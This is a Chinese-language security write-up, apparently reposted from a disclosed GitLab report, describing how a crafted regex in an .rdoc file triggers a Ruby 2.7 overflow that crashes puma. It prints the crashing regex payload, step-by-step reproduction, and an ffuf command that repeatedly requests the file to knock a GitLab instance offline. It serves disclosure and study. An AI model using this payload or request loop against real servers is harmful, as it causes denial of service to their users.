-
背景
-
复现步骤
-
影响
-
例子
gitlab漏洞系列-包含特殊正则的RDoc文件可以让puma崩溃
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
背景
vakzz于2021年12月提交了这个漏洞:
ruby中的缓冲区溢出漏洞影响着ruby 2.7版本;在编译某些正则表达式时可能导致分段错误和崩溃。
通常情况下,用户没有办法指定他们自己的正则表达式来编译,但当渲染rdoc文件时,有一个检查,看看一个文本块是否有效的ruby:
https://github.com/ruby/rdoc/blob/master/lib/rdoc/markup/to_html.rb#L427
##
# Returns true if text is valid ruby syntax
def parseable? text
verbose, $VERBOSE = $VERBOSE, nil
eval("BEGIN {return true}n#{text}")
rescue SyntaxError
false
ensure
$VERBOSE = verbose
end
由于正则表达式是在这个阶段编译的,使用下面的readme.rdoc可能会触发堆栈溢出:
code:
/(())(?<X>)((?(2147483647)))/
复现步骤
1.创建一个新项目
2.新建文件aaa.rdoc
,包含以下内容:
code:
/(())(?<X>)((?(2147483647)))/
3.提交并尝试查看该文件
4.加载查看器(viewer)时将出现一个错误,对富版本的请求将返回502,因为puma已经崩溃
影响
恶意的rdoc可能会导致puma在渲染时崩溃。用户可以不断地请求url,不断地使所有puma进程崩溃,并拒绝访问gitlab实例。例如,以每秒1个请求的速度运行下面的ffuf就足以让我的虚拟机崩溃,并阻止任何合法的请求:
ffuf -u 'http://localhost:8888/root/crash/-/blob/main/aaa.rdoc?format=json&viewer=rich&FUZZ' -w /usr/share/dict/words -rate 1 -t 5
例子
POC仓库:
https://gitlab.com/vakzz-h1/rdoc-crash/
崩溃的例子:
https://gitlab.com/vakzz-h1/rdoc-crash/-/blob/main/aaa.rdoc?format=json&viewer=rich
原文始发于微信公众号(迪哥讲事):gitlab漏洞系列-包含特殊正则的RDoc文件可以让puma崩溃
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论